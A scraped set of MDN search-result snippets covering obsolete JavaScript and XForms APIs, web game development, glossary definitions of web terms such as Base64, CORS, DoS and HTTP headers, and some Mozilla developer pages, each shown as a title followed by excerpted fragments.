...y-min: 100%; -ms-scroll-limit-y-max: 500%; -ms-scroll-snap-type: proximity; -ms-scroll-snap-points-y: snaplist(100%, 200%, 300%, 400%, 500%); -ms-overflow-style: none; width: 480px; height: 270px; overflow: auto; } specifications not part of any specification.
ArrayBuffer.transfer() - Archive of obsolete content
the static arraybuffer.transfer() method returns a new arraybuffer whose contents have been taken from the oldbuffer's data and then is either truncated or zero-extended by newbytelength.
...les var buf1 = new arraybuffer(40); new int32array(buf1)[0] = 42; var buf2 = arraybuffer.transfer(buf1, 80); buf1.bytelength; // 0 but if you use the polyfill then the value is still 40 buf2.bytelength; // 80 new int32array(buf2)[0]; // 42 var buf3 = arraybuffer.transfer(buf2, 0); buf2.bytelength; // 0 but if you use the polyfill then the value is still 80 buf3.bytelength; // 0 polyfill you can partially work around this by inserting the following code at the beginning of your scripts, allowing use of much of the functionality of transfer() in browsers that do not natively support it.
... this is not the exact equivalent of this api because browsers that natively support it are be able to internally use the c++ function realloc() which extends the length of the memory and only copies it to a new location as-needed as opposed to the following pollyfill which always copies the whole thing to a new space of memory, but this function transfers data from one arraybuffer to another arraybuffer.
... if (!(source instanceof arraybuffer)) throw new typeerror('source must be an instance of arraybuffer'); if (length <= source.bytelength) return source.slice(0, length); var sourceview = new uint8array(source), destview = new uint8array(new arraybuffer(length)); destview.set(sourceview); return destview.buffer; }; } specifications specification status comment arraybuffer.prototype.transfer proposal draft stage 2 draft ...
Legacy generator function expression - Archive of obsolete content
the function keyword can be used to define a legacy generator function inside an expression.
...can be omitted, in which case the function is anonymous.
... the name is only local to the function body.
...a function can have up to 255 arguments.
Debug.setNonUserCodeExceptions - Archive of obsolete content
the debug.setnonusercodeexceptions property determines whether any try-catch blocks in this scope are to be treated by the debugger as user-unhandled.
... exceptions can be classified as thrown, user-unhandled or unhandled.
... syntax debug.setnonusercodeexceptions [= bool]; remarks if this property is set to true within a given scope, the debugger can then choose whether to take some specified action on exceptions thrown inside that scope: for instance, if the developer wishes to break on user-unhandled exceptions.
... (function () { debug.setnonusercodeexceptions = true; try{ var x = null; x.y(); } catch (e) { // catch the exception.
Object.prototype.unwatch() - Archive of obsolete content
deprecation warning: do not use unwatch() and watch()!
... these two methods were implemented only in firefox prior to version 58, they're deprecated and removed in firefox 58+.
...you can usually use setters and getters or proxies instead.
... specifications not part of any standard.
String.prototype.quote() - Archive of obsolete content
the non-standard quote() method returns a copy of the string, replacing various special characters in the string with their escape sequences and wrapping the result in double-quotes (").
... syntax str.quote() return value a new string representing the original string wrapped in double-quotes, with any special characters escaped.
...also note the third column where a wrapped eval() evaluates the escape sequences again.
... " \ — ' "\" \\ \u2014 '" " \ — ' specifications not part of any standard.
for each...in - Archive of obsolete content
the for each...in statement is deprecated as the part of ecma-357 (e4x) standard.
... please see warning: javascript 1.6's for-each-in loops are deprecated for migration help.
...this variable is local to the function, not to the loop.
... the following snippet iterates over an object's properties, calculating their sum: var sum = 0; var obj = {prop1: 5, prop2: 13, prop3: 8}; for each (var item in obj) { sum += item; } console.log(sum); // logs "26", which is 5+13+8 specifications not part of any standard.
handler.enumerate() - Archive of obsolete content
the handler.enumerate() method used to be a trap for for...in statements, but has been removed from the ecmascript standard in es2016 and is deprecated in browsers.
... interceptions this trap can intercept these operations: property enumeration / for...in: for (var name in proxy) {...} reflect.enumerate() invariants if the following invariants are violated, the proxy will throw a typeerror: the enumerate method must return an object.
... var p = new proxy({}, { enumerate(target) { console.log('called'); return ['a', 'b', 'c'][symbol.iterator](); } }); for (var x in p) { // "called" console.log(x); // "a" } // "b" // "c" the following code violates the invariant.
... specifications not part of any standard.
JavaArray - Archive of obsolete content
in addition, you can create a javaarray with an arbitrary data type using the newinstance method of the array class: public static object newinstance(class componenttype, int length) throws negativearraysizeexception description the javaarray object is an instance of a java array that is created in or passed to javascript.
...when the javaarray is passed back to java, the array is unwrapped and can be used by java code.
...you cannot use a javaclass object for the componenttype parameter.
... var javastring = new java.lang.string("hello world!"); var bytearray = javastring.getbytes(); example: instantiating a javaarray in javascript with the newinstance method in javascript 1.4, you can use a javaclass object as the argument for the newinstance method which creates the array, as shown in the following code: var dogs = java.lang.reflect.array.newinstance(java.lang.string, 5); in javascript 1.1, use a class object returned by java.lang.class.forname as the argument for the newinstance method, as shown in the following code: var datatype = java.lang.class.forname("java.lang.st...
JavaObject - Archive of obsolete content
in addition, you can explicitly construct a javaobject using the object's java constructor with the packages keyword: new packages.javaclass(parameterlist) javaclassis the fully-specified name of the object's java class.
...when the javaobject is passed back to java, it is unwrapped and can be used by java code.
... examples example: instantiating a java object in javascript the following code creates the javaobject thestring, which is an instance of the class java.lang.string: var thestring = new packages.java.lang.string("hello, world"); because the string class is in the java package, you can also use the java synonym and omit the packages keyword when you instantiate the class: var thestring = new java.lang.string("hello, world"); example: accessing methods of a java object because the javaobject thestring is an instance of java.lang.string, it inherits all the public methods of java.lang.string.
... var thestring = new java.lang.string("hello, world"); thestring.startswith("hello"); // returns true example: accessing inherited methods because getclass is a method of object, and java.lang.string extends object, the string class inherits the getclass method.
Standards-Compliant Authoring Tools - Archive of obsolete content
validation is done with html tidy, so you can verify standards compliance.
... macromedia™ dreamweaver™ cs6 style master and layout master by western civilisation some caveats: it appears that tools currently available from namo generate ie-specific or netscape 4-specific code that may require extra debugging for compatibility with standards-based browsers.
... newer versions of microsoft frontpage™ have improved, however be sure not to rely on frontpage-specific extensions for critical website content or functionality.
... original document information last updated date: january 30th, 2003 copyright © 2001-2003 netscape.
XForms Styling - Archive of obsolete content
hopefully someone more proficient in mozilla xforms and css can clean this up repeats see the mozilla xforms specials page for some general points.
... switches can be styled as tabs.
...appearance attributes can also make a big difference.
... experimenting with these can give you some easier way of styling the contents than just using the default.
XForms Range Element - Archive of obsolete content
values can't be less than the value of this attribute.
...values can't be greater than the value of this attribute.
... type restrictions the range element can be bound to a node of type xsd:duration, xsd:date, xsd:time, xsd:datetime, xsd:gyearmonth, xsd:gyear, xsd:gmonthday, xsd:gday, xsd:gmonth, xsd:float, xsd:decimal or xsd:double or any type derived from one of these.
...characteristics analogous widget is <xul:scale/>, which is available in fx 3.0 only if the incremental attribute has the value true, the value of the bound node will be updated upon each movement of the slider's thumb.
XForms Submit Element - Archive of obsolete content
the result of which is all or part of an instance document being sent to a target destination, which could be local or remote (see the spec).
... type restrictions the submit element can be bound to a node containing data of any type.
...representations the xforms submit element can be represented by the following widgets for the specified appearance attribute values: button - default representation (xhtml/xul) link/clickable text - used when appearance = 'minimal' (xhtml only) button displaying a button is the default presentation (xhtml/xul).
... characteristics analogous widgets are <html:input type="submit"/> and <xul:button/> link/clickable text xforms authors can use this representation if they want to have a widget like a xhtml anchor (xhtml only).
Using XForms and PHP - Archive of obsolete content
returning xml data to either serve a page (with xforms in it) or to generate data used as instance data for xforms, the page needs to be served as xml, for example application/xhtml+xml.
... to do that, you need to use the header() php function: <?php header("content-type: application/xhtml+xml; charset=utf-8"); ...
... ?> but remember this (quote from php documentation): remember that header() must be called before any actual output is sent, either by normal html tags, blank lines in a file, or from php.
... it is a very common error to read code with include(), or require(), functions, or another file access function, and have spaces or empty lines that are output before header() is called.
Displaying a graphic with audio samples - Archive of obsolete content
the following example shows how to take samples from an audio stream and display them behind an image (in this case, the mozilla logo), giving the impression that the image is built from the samples.
... <!doctype html> <html> <head> <title>javascript spectrum example</title> </head> <body> <audio id="audio-element" src="revolve.ogg" controls="true" style="width: 512px;"> </audio> <div><canvas id="fft" width="512" height="200"></canvas></div> <img id="mozlogo" style="display:none" src="mozilla2.png"></img> <script> var canvas = document.getelementbyid('fft'), ctx = canvas.getcontext('2d'), channels, rate, framebufferlength, fft; function loadedmetadata() { channels = audio.mozchannels; rate = audio.mozsamplerate; framebufferlength = audio.mozframebufferlength; fft = new fft(framebufferlength / channels...
... t = event.time, /* unused, but it's there */ signal = new float32array(fb.length / channels), magnitude; for (var i = 0, fbl = framebufferlength / 2; i < fbl; i++ ) { // assuming interlaced stereo channels, // need to split and merge into a stero-mix mono signal signal[i] = (fb[2*i] + fb[2*i+1]) / 2; } // clear the canvas before drawing spectrum ctx.fillstyle = "rgb(0,0,0)"; ctx.fillrect (0,0, canvas.width, canvas.height); ctx.fillstyle = "rgb(255,255,255)"; for (var i = 0; i < signal.length; i++ ) { // multiply spectrum by a zoom value magnitude = signal[i] * 1000; // draw rectangle bars for each frequency bin ctx.fillrect(i * 4, canv...
...as.height, 3, -magnitude); } ctx.drawimage(document.getelementbyid('mozlogo'),0,0, canvas.width, canvas.height); } var audio = document.getelementbyid('audio-element'); audio.addeventlistener('mozaudioavailable', audioavailable, false); audio.addeventlistener('loadedmetadata', loadedmetadata, false); </script> </body> </html> ...
WebRTC data channels - Game development
the webrtc (web real-time communications) api is primarily known for its support for audio and video communications; however, it also offers peer-to-peer data channels.
...this article, however, will take advantage of some libraries that can help trivialize the work, and will demonstrate ways to use abstraction to work around implementation differences between browsers.
... using the p2p library one library you can use is the p2p library.
...there's also a broker server component and a hosted broker you can use instead of having to set one up for yourself.
Techniques for game development - Game development
using async scripts for asm.js especially when creating medium to large-sized games, async scripts are an essential technique to take advantage of, so that your game's javascript can be compiled off the main thread and be cached for future game running, resulting in a significant performance improvement for your users.
... using webrtc peer-to-peer data channels in addition to providing support for audio and video communication, webrtc lets you set up peer-to-peer data channels to exchange text or binary data actively between your players.
... this article explains what this can do for you, and shows how to use libraries that make this easy.
...these articles provide an introduction to tilemaps and how to implement them with the canvas api.
Game development
new technologies are constantly arriving to make it possible to develop better and more powerful games that can be run in any standards-compliant web browser.
... we've also included a reference section so you can easily find information about all the most common apis used in game development.
... port native games to the web if you are a native developer (for example writing games in c++), and you are interested in how you can port your games over to the web, you should learn more about our emscripten tool — this is an llvm to javascript compiler, which takes llvm bytecode (e.g.
... generated from c/c++ using clang, or from another language) and compiles that into asm.js, which can be run on the web.
Abstraction - MDN Web Docs Glossary: Definitions of Web-related terms
it hides the technical complexity of systems behind simpler apis.
... avoids code duplication and increases reusability.
... can change internal implementation of class independently without affecting the user.
... helps to increase security of an application or program as only important details are provided to the user.
Base64 - MDN Web Docs Glossary: Definitions of Web-related terms
this is to ensure that the data remain intact without modification during transport.
... base64 is commonly used in a number of applications including email via mime, and storing complex data in xml.
... one common application of base64 encoding on the web is to encode binary data so it can be included in a data: url.
...so, three 8-bits bytes of the input string/binary file (3×8 bits = 24 bits) can be represented by four 6-bit base64 digits (4×6 = 24 bits).
CORS-safelisted request header - MDN Web Docs Glossary: Definitions of Web-related terms
you can safelist more headers using the access-control-allow-headers header and also list the above headers there to circumvent the following additional restrictions: additional restrictions cors-safelisted headers must also fulfill the following requirements in order to be a cors-safelisted request header: for accept-language and content-language: can only have values consisting of 0-9, a-z, a-z, space or *,-.;=.
... for accept and content-type: can't contain a cors-unsafe request header byte: 0x00-0x1f (except 0x09 (ht)), "():<>?@[\]{}, and 0x7f (del).
... for content-type: needs to have a mime type of its parsed value (ignoring parameters) of either application/x-www-form-urlencoded, multipart/form-data, or text/plain.
... for any header: the value’s length can't be greater than 128.
Client hints - MDN Web Docs Glossary: Definitions of Web-related terms
client hints are a set of http request header fields for proactive content negotiation allowing clients to indicate a list of device and agent specific preferences.
... basically, with the client hints header, the developer or application can tell the browser to advertise information about itself to the server, such as the device pixel ratio, the viewport width, and the display width.
... the client can then give the server information about the client's environment, and the server can determine which resources to send based on that information.
... varying client hints to convey to caches that different client hints may affect the response, the vary http header must be used.
Constructor - MDN Web Docs Glossary: Definitions of Web-related terms
the constructor initializes this object and can provide access to its private information.
... the concept of a constructor can be applied to most object-oriented programming languages.
... syntax // this is a generic default constructor class default function default() { } // this is an overloaded constructor class overloaded // with parameter arguments function overloaded(arg1, arg2, ...,argn){ } to call the constructor of the class in javascript, use a new operator to assign a new object reference to a variable.
... function default() { } // a new reference of a default object assigned to a // local variable defaultreference var defaultreference = new default(); learn more general knowledge constructor on wikipedia technical reference the constructor in object oriented programming for javascript on mdn new operator in javascript on mdn ...
Control flow - MDN Web Docs Glossary: Definitions of Web-related terms
to do this, the script uses a conditional structure or if...else, so that different code executes depending on whether the form is complete or not: if (field==empty) { promptuser(); } else { submitform(); } a typical script in javascript or php (and the like) includes many control structures, including conditionals, loops and functions.
...looking back at the code in the if and else sections, the lines promptuser and submitform could also be calls to other functions in the script.
... as you can see, control structures can dictate complex flows of processing even with only a few lines of code.
... learn more general knowledge control flow on wikipedia technical reference javascript reference - control flow on mdn learn about it statements (control flow) on mdn ...
DoS attack - MDN Web Docs Glossary: Definitions of Web-related terms
when these are exhausted, the program can freeze or crash, making it unavailable.
... there are also distributed denial of service (ddos) attacks in which a multitude of servers are used to exhaust the computing capacity of an attacked computer.
... types of dos attack dos attacks are more of a category than a particular kind of attack.
... here is a non-exhaustive list of dos attack types: bandwidth attack service request flood syn flooding attack icmp flood attack peer-to-peer attack permanent dos attack application level flood attack learn more denial-of-service attack on wikipedia denial-of-service on owasp ddos ...
Decryption - MDN Web Docs Glossary: Definitions of Web-related terms
decryption is a cryptographic primitive: it transforms a ciphertext message into plaintext using a cryptographic algorithm called a cipher.
... like encryption, decryption in modern ciphers is performed using a specific algorithm and a secret, called the key.
... decryption is the reverse of encryption and if the key stays secret, decryption without knowing the specific secret, decryption is mathematically hard to perform.
... learn more technical reference encryption and decryption ...
Denial of Service - MDN Web Docs Glossary: Definitions of Web-related terms
when these are exhausted, the program can freeze or crash, making it unavailable.
... there are also distributed denial of service (ddos) attacks in which a multitude of servers are used to exhaust the computing capacity of an attacked computer.
... types of dos attack dos attacks are more of a category than a particular kind of attack.
... here is a non-exhaustive list of dos attack types: bandwidth attack service request flood syn flooding attack icmp flood attack peer-to-peer attack permanent dos attack application level flood attack learn more denial-of-service attack on wikipedia denial-of-service on owasp ddos ...
Endianness - MDN Web Docs Glossary: Definitions of Web-related terms
each memory storage location has an index or address.
... every byte can store an 8-bit number (i.e.
...little-endian means storing bytes in order of least-to-most-significant (where the least significant byte takes the first or lowest address), comparable to a common european way of writing dates (e.g., 31 december 2050).
...big-endian is also often called "network byte order", because internet standards usually require data to be stored big-endian, starting at the standard unix socket level and going all the way up to standardized web binary data structures.
Flexbox - MDN Web Docs Glossary: Definitions of Web-related terms
in the specification, flexbox is described as a layout model for user interface design.
... the key feature of flexbox is the fact that items in a flex layout can grow and shrink.
... space can be assigned to the items themselves, or distributed between or around the items.
... learn more property reference align-content align-items align-self flex flex-basis flex-direction flex-flow flex-grow flex-shrink flex-wrap justify-content order further reading css flexible box layout module level 1 specification css flexbox guide: basic concepts of flexbox css flexbox guide: relationship of flexbox to other layout methods css flexbox guide: aligning items in a flex container css flexbox guide: ordering flex items css flexbox guide: controlling ratios of flex items along the main axis css flexbox guide: mastering wrapping of flex items css flexbox guide: typical use cases of flexbox ...
Graceful degradation - MDN Web Docs Glossary: Definitions of Web-related terms
graceful degradation is a design philosophy that centers around trying to build a modern web site/application that will work in the newest browsers, but falls back to an experience that while not as good still delivers essential content and functionality in older browsers.
... polyfills can be used to build in missing features with javascript, but acceptable alternatives to features like styling and layout should be provided where possible, for example by using the css cascade, or html fallback behaviour.
... some good examples can be found in handling common html and css problems.
...in reality both approaches are valid and can often complement one another.
HTTP header - MDN Web Docs Glossary: Definitions of Web-related terms
headers are case-insensitive, begins at the start of a line and are immediately followed by a ':' and a value depending of the header itself.
... traditionally, headers are classed in categories, though this classification is no more part of any specification: general header: headers applying to both requests and responses but with no relation to the data eventually transmitted in the body.
... response header: headers with additional information about the response, like its location or about the server itself (name, version, …).
... a basic request with one header: get /example.http http/1.1 host: example.com redirects have mandatory headers (location): 302 found location: /newpage.html a typical set of headers: 304 not modified access-control-allow-origin: * age: 2318192 cache-control: public, max-age=315360000 connection: keep-alive date: mon, 18 jul 2016 16:06:00 gmt server: apache vary: accept-encoding via: 1.1 3dc30c7222755f86e824b93feb8b5b8c.cloudfront.net (cloudfront) x-amz-cf-id: tol0fem6ui4fgldrkjx0vao5hpkkgzulyn2twd2gawltr7vlnjtvzw== x-backend-server: developer6.webapp.scl3.mozilla.com x-cache: hit from cloudfront x-cache-info: cached ...
Host - MDN Web Docs Glossary: Definitions of Web-related terms
a host is a device connected to the internet (or a local network).
... some hosts called servers offer additional services like serving webpages or storing files and emails.
...it can be generated by virtual machines.
... the host generated by virtual machines is called "virtual hosting".
Intrinsic Size - MDN Web Docs Glossary: Definitions of Web-related terms
for example, inline elements are sized intrinsically: width, height, and vertical margin and padding have no impact, though horizontal margin and padding do.
... how intrinsic sizes are calculated is defined in the css intrinsic and extrinsic sizing specification.
...for text the min-content size would be if the text wrapped as small as it can in the inline direction without causing an overflow, doing as much soft-wrapping as possible.
... the max-content size is the opposite — in the case of text, this would have the text display as wide as possible, doing no soft-wrapping, even if an overflow was caused.
MVC - MDN Web Docs Glossary: Definitions of Web-related terms
the three parts of the mvc software-design pattern can be described as follows: model: manages data and business logic.
...if the state of this data changes, then the model will usually notify the view (so the display can change as needed) and sometimes the controller (if different logic is needed to control the updated view).
... you might however also want to just update the view to display the data in a different format, e.g., change the item order to alphabetical, or lowest to highest price.
... in this case the controller could handle this directly without needing to update the model.
Media (CSS) - MDN Web Docs Glossary: Definitions of Web-related terms
in the context of css (cascading style sheets), the term media refers to the destination to which the document is to be drawn by the rendering engine.
... typically, this is a screen—but it may also be a printer, a speech synthesizer, braille display, or another type of device.
... css offers several features that allow you to tweak your document's styles—or even offer different styles—according to the media type (such as screen or print, to name two) or media capabilities (such as width, resolution, or other values) of the viewer's device.
... learn more general knowledge using media queries technical reference media queries define a set of characteristics or parameters required to apply the css styles that are specified within the curly braces of the media query; for example: only applying certain css styles for devices below 768 pixels.
Middleware - MDN Web Docs Glossary: Definitions of Web-related terms
middleware is a (loosly defined) term for any software or service that enables the parts of a system to communicate and manage data.
... it is the software that handles communication between components and input/output, so developers can focus on the specific purpose of their application.
... in server-side web application frameworks, the term is often more specifically used to refer to pre-built software components that can be added to the framework's request/response processing pipeline, to handle tasks such as database access.
... learn more general knowledge middleware_(distributed_applications) on wikipedia middleware on wikipedia ...
RGB - MDN Web Docs Glossary: Definitions of Web-related terms
each color is described by a sequence of three numbers (typically between 0.0 and 1.0, or between 0 and 255) that represent the different intensities (or contributions) of red, green, and blue, in determining the final color.
...in css they can be represented as a single 24-bit integer in hexadecimal notation (for example, #add8e6 is light blue), or in functional notation as three separate 8-bit integers (for example, rgb(46, 139, 87) is sea green).
... in opengl, webgl, and glsl the red-green-blue components are fractions (floating-point numbers between 0.0 and 1.0), although in the actual color buffer they are typically stored as 8-bit integers.
... graphically, a color can be represented as a point in a three-dimensional grid or cube, where each dimension (or axis) corresponds to a different channel.
Recursion - MDN Web Docs Glossary: Definitions of Web-related terms
the act of a function calling itself, recursion is used to solve problems that contain smaller sub-problems.
... a recursive function can receive two inputs: a base case (ends recursion) or a recursive case (resumes recursion).
... examples recursive function calls itself until condition met the following python code defines a function that takes a number, prints it, and then calls itself again with the number's value -1.
... it keeps going until the number is equal to 0, in which case it stops.
Response header - MDN Web Docs Glossary: Definitions of Web-related terms
a response header is an http header that can be used in an http response and that doesn't relate to the content of the message.
... response headers, like age, location or server are used to give a more detailed context of the response.
...however, these entity requests are usually called responses headers in such a context.
...harset=utf-8 date: mon, 18 jul 2016 16:06:00 gmt etag: "c561c68d0ba92bbeb8b0f612a9199f722e3a621a" keep-alive: timeout=5, max=997 last-modified: mon, 18 jul 2016 02:36:04 gmt server: apache set-cookie: mykey=myvalue; expires=mon, 17-jul-2017 16:06:00 gmt; max-age=31449600; path=/; secure transfer-encoding: chunked vary: cookie, accept-encoding x-backend-server: developer2.webapp.scl3.mozilla.com x-cache-info: not cacheable; meta data too large x-kuma-revision: 1085259 x-frame-options: deny ...
SEO - MDN Web Docs Glossary: Definitions of Web-related terms
seo combines official search engine guidelines, empirical knowledge, and theoretical knowledge from science papers or patents.
... seo methods fall into three broad classes: technical tag the content using semantic html.
... copywriting write content using your visitors' vocabulary.
... use text as well as images so that crawlers can understand the subject.
Scope - MDN Web Docs Glossary: Definitions of Web-related terms
the context in which values and expressions are "visible" or can be referenced.
...scopes can also be layered in a hierarchy, so that child scopes have access to parent scopes, but not vice versa.
... a function serves as a closure in javascript, and thus creates a scope, so that (for example) a variable defined exclusively within the function cannot be accessed from outside the function or within other functions.
... for instance, the following is invalid: function examplefunction() { var x = "declared inside function"; // x can only be used in examplefunction console.log("inside function"); console.log(x); } console.log(x); // causes error however, the following code is valid due to the variable being declared outside the function, making it global: var x = "declared outside function"; examplefunction(); function examplefunction() { console.log("inside function"); console.log(x); } console.log("outside function"); console.log(x); learn more general knowledge scope (computer science) on wikipedia ...
Semantics - MDN Web Docs Glossary: Definitions of Web-related terms
would you need to look at the code to understand what the function did if it was called build('peach'), or createliwithcontent('peach')?
... some of the benefits from writing semantic markup are as follows: search engines will consider its contents as important keywords to influence the page's search rankings (see seo) screen readers can use it as a signpost to help visually impaired users navigate a page finding blocks of meaningful code is significantly easier than searching though endless divs with or without semantic or namespaced classes suggests to the developer the type of data that will be populated semantic naming mirrors proper custom element/component naming when approaching which markup to use, ask yourself, "wh...
...at element(s) best describe/represent the data that i'm going to populate?" for example, is it a list of data?; ordered, unordered?; is it an article with sections and an aside of related information?; does it list out definitions?; is it a figure or image that needs a caption?; should it have a header and a footer in addition to the global site-wide header and footer?; etc.
... semantic elements these are some of the roughly 100 semantic elements available: <article> <aside> <details> <figcaption> <figure> <footer> <header> <main> <mark> <nav> <section> <summary> <time> learn more html element reference on mdn using html sections and outlines on mdn the meaning of semantics in computer science on wikipedia ...
Symmetric-key cryptography - MDN Web Docs Glossary: Definitions of Web-related terms
the key is usually called a "symmetric key" or a "secret key".
... this is usually contrasted with public-key cryptography, in which keys are generated in pairs and the transformation made by one key can only be reversed using the other key.
... symmetric-key algorithms should be secure when used properly and are highly efficient, so they can be used to encrypt large amounts of data without having a negative effect on performance.
...using an inappropriate mode, or using a mode incorrectly, can completely undermine the security provided by the underlying cipher.
Synchronous - MDN Web Docs Glossary: Definitions of Web-related terms
synchronous refers to real-time communication where each party receives (and if necessary, processes and replies to) messages instantly (or as near to instantly as possible).
... a human example is the telephone — during a telephone call you tend to respond to another person immediately.
... many programming commands are also synchronous — for example when you type in a calculation, the environment will return the result to you instantly, unless you program it not to.
... learn more technical reference asynchronous synchronous and asynchronous requests using the xmlhttprequest() api ...
TLD - MDN Web Docs Glossary: Definitions of Web-related terms
a tld (top-level domain) is the most generic domain in the internet's hierarchical dns (domain name system).
... icann (internet corporation for assigned names and numbers) designates organizations to manage each tld.
... unsponsored top-level domains domains that operate directly under policies established by icann processes for the global internet community, for example "com" and "edu".
... sponsored top-level domains (stld) these domains are proposed and sponsored by private organizations that decide whether an applicant is eligible to use the tld, based on community theme concepts.
Type - MDN Web Docs Glossary: Definitions of Web-related terms
type is a characteristic of a value affecting what kind of data it can store, and the structure that the data will adhere to.
... for example, a boolean data type can hold only a true or false value at any given time, whereas a string has the ability to hold a string or a sequence of characters, a number can hold numerical values of any kind, and so on.
...for example, a value of type number can be multiplied by another number, but not by a string - even if that string contains only a number, such as the string "2".
... if you are unsure of the type of a value, you can use the typeof operator.
URL - MDN Web Docs Glossary: Definitions of Web-related terms
uniform resource locator (url) is a text string that specifies where a resource (such as a web page, image, or video) can be found on the internet.
... in the context of http, urls are called "web address" or "link".
... urls can also be used for file transfer (ftp) , emails (smtp), and other applications.
... learn more general knowledge url on wikipedia learn about it understanding urls and their structure specification the syntax of urls is defined in the url living standard.
Vendor Prefix - MDN Web Docs Glossary: Definitions of Web-related terms
browser vendors sometimes add prefixes to experimental or nonstandard css properties and javascript apis, so developers can experiment with new ideas while—in theory—preventing their experiments from being relied upon and then breaking web developers' code during the standardization process.
... lately, the trend is to add experimental features behind user-controlled flags or preferences, and to create smaller specifications which can reach a stable state much more quickly.
... css prefixes the major browsers use the following prefixes: -webkit- (chrome, safari, newer versions of opera, almost all ios browsers including firefox for ios; basically, any webkit based browser) -moz- (firefox) -o- (old pre-webkit versions of opera) -ms- (internet explorer and microsoft edge) sample usage: -webkit-transition: all 4s ease; -moz-transition: all 4s ease; -ms-transition: all 4s ease; -o-transition: all 4s ease; transition: all 4s ease; api prefixes historically, vendors have also used prefixes for experimental apis.
... interface prefixes prefixes for interface names are upper-cased: webkit (chrome, safari, newer versions of opera, almost all ios browsers (including firefox for ios); basically, any webkit based browser) moz (firefox) o (older, pre-webkit, versions of opera) ms (internet explorer and microsoft edge) property and method prefixes the prefixes for properties and methods are lower-case: webkit (chrome, safari, newer versions of opera, almost all ios browsers (including firefox for ios); basically, any webkit based browser) moz (firefo...
WebIDL - MDN Web Docs Glossary: Definitions of Web-related terms
webidl is the interface description language used to describe the data types, interfaces, methods, properties, and other components which make up a web application programming interface (api).
... it uses a somewhat stylized syntax which is independent of any specific programming language, so that the underlying code which is used to build each api can be written in whatever language is most appropriate, while still being possible to map the api's components to javascript-compatible constructs.
... webidl is used in nearly every api specification for the web, and due to its standard format and syntax, the programmers who create web browsers can more easily ensure that their browsers are compatible with one another, regardless of how they choose to write the code to implement the api.
... learn more technical reference specification webidl bindings webidl ...
WebSockets - MDN Web Docs Glossary: Definitions of Web-related terms
websocket is a protocol that allows for a persistent tcp connection between server and client so they can exchange data at any time.
... any client or server application can use websocket, but principally web browsers and web servers.
... through websocket, servers can pass data to a client without prior client request, allowing for dynamic content updates.
... learn more general knowledge websocket on wikipedia technical reference websocket reference on mdn learn about it writing websocket client applications writing websocket servers ...
World Wide Web - MDN Web Docs Glossary: Definitions of Web-related terms
the web is not the same as the internet: the web is one of many applications built on top of the internet.
... tim berners-lee proposed the architecture of what became known as the world wide web.
... to access a web component, a client supplies a unique universal identifier, called a url (uniform resource location) or uri (uniform resource identifier) (formally called universal document identifier (udi)).
...its mission includes education and outreach.
XML - MDN Web Docs Glossary: Definitions of Web-related terms
xml tags resemble html tags, but xml is much more flexible because it lets users define their own tags.
... in this way xml acts like a meta-language—that is, it can be used to define other languages, such as rss.
...this means that xml has far broader applications than just the web.
... for example, web services can use xml to exchange requests and responses.
lossy compression - MDN Web Docs Glossary: Definitions of Web-related terms
lossy compression, or irreversible compression, is a data-compression method that uses inexact approximations and partial-data discarding to represent content.
... in simpler terms: lossy compression causes data from the initial file to be lost, possibly causing degradation in quality.
... the process of such compression is irreversible; once lossy compression of the content has been performed, the content cannot be restored to its original state.
... although there is no obvious difference quality between the two images above, the size of the second image has been significantly reduced, using lossy compression.
Speculative parsing - MDN Web Docs Glossary: Definitions of Web-related terms
the upside is that when a speculation succeeds, there's no need to reparse the part of the incoming file that was already scanned for scripts, style sheets and images.
...however, only unusual uses of document.write() cause trouble.
... don't finish your writing with a carriage return.
... note that writing balanced tags may cause other tags to be inferred in a way that makes the write unbalanced.
User agent - MDN Web Docs Glossary: Definitions of Web-related terms
along with each request they make to the server, browsers include a self-identifying user-agent http header called a user agent (ua) string.
... the user agent string can be accessed with javascript on the client side using the navigator.useragent property.
... a typical user agent string looks like this: "mozilla/5.0 (x11; ubuntu; linux x86_64; rv:35.0) gecko/20100101 firefox/35.0".
... learn more general knowledge user agent on wikipedia technical reference navigator.useragent browser detection using the user agent rfc 2616: 14.43: the user-agent header ...
Learning area release notes - Learn web development
this page details significant changes made to the learning area.
... march 2020 you'll now find "test your skills" assessments accompanying the articles in the following modules: css building blocks javascript first steps javascript building blocks introducing javascript objects january 2020 the html forms module has been significantly updated: it has been retitled web forms, and moved out of the html topic area to recognise that it covers more than just html form elements — it also covers styling, validation, the basics of how to send data and process it on the server, and more besides.
...you can see these on: css layout: flexbox css layout: grids css layout: floats december 2019 we are adding a new type of assessment article to the learning area — "test your skills" — which will offer several short questions aimed at rapidly testing whether you understood what is going on.
...you can see these on: html text fundamentals creating hyperlinks advanced text formatting images in html video and audio content from object to iframe — other embedding technologies ...
Mozilla Plugin Accessibility
see the plugin keyboard navigation proposal to see how the largest problems can be solved.
...if the plugin needs those keystrokes, the can consume them and not pass them on.
...user cannot keyboard navigate out of a plugin we will apply the same solution as in problem 4 above.
...in other cases, vendors need to find or be convinced of the business justification so that resources are applied to the problem.
ZoomText
here's how you can test: download a copy of mozilla 1.8a6 (this is not firefox).
... mozilla issues cannot tab into frames and iframes.
... cannot customize the sidebar with the keyboard only.
... comboboxes report incorrect bounds, causing zoomtext tracking to move to the wrong area of the screen.
Adding a new word to the en-US dictionary
occasionally bugs are filed pointing out situations where perfectly legitimate words are missing from the english spell check dictionary in firefox.
...the process is pretty straight-forward: get a clone of uxp, if you don't already have one, and make sure you can build it successfully.
... get into the dictionary sources directory using this command: cd extensions/spellcheck/locales/hunspell/dictionary-sources there's a special script used for editing dictionaries.
... the script only works if you have the environment variable editor set to the executable of an editor program; if you don't have it set, you can do editor=vim sh edit-dictionary to edit using vim (or you can substitute some other editor), or you can just do sh edit-dictionary if you have an editor already specified.
Debugging update problems
checking update requests if you're debugging the application update feature in firefox or other mozilla applications, you may need to see what requests are occurring.
... you can do this using the live http headers addon to determine the url of the update request.
... that url might look something like: https://aus3.mozilla.org/update/3/firefox/12.0a1/20120106040225/darwin_x86_64-gcc3-u-i386-x86_64-shark/nightly-profiling/darwin%2010.8.0/default/default/update.xml?force=1 you can then request this url manually to see what's inside.
... useful preferences enabling the following preferences in about:config can help troubleshoot problems with updates: app.update.log - for application updates; extensions.logging.enabled - for add-on updates.
Interface Compatibility
as we add new features to the web and to our applications, programming interfaces change.
...canvasrenderingcontext.mozdrawtext).
...using these interfaces, and using dynamic calls to queryinterface, it has been possible to write binary xpcom components which were compatible with multiple versions of firefox.
... js-ctypes is the recommended way for extensions to call into os or third-party native code.
Runtime Directories
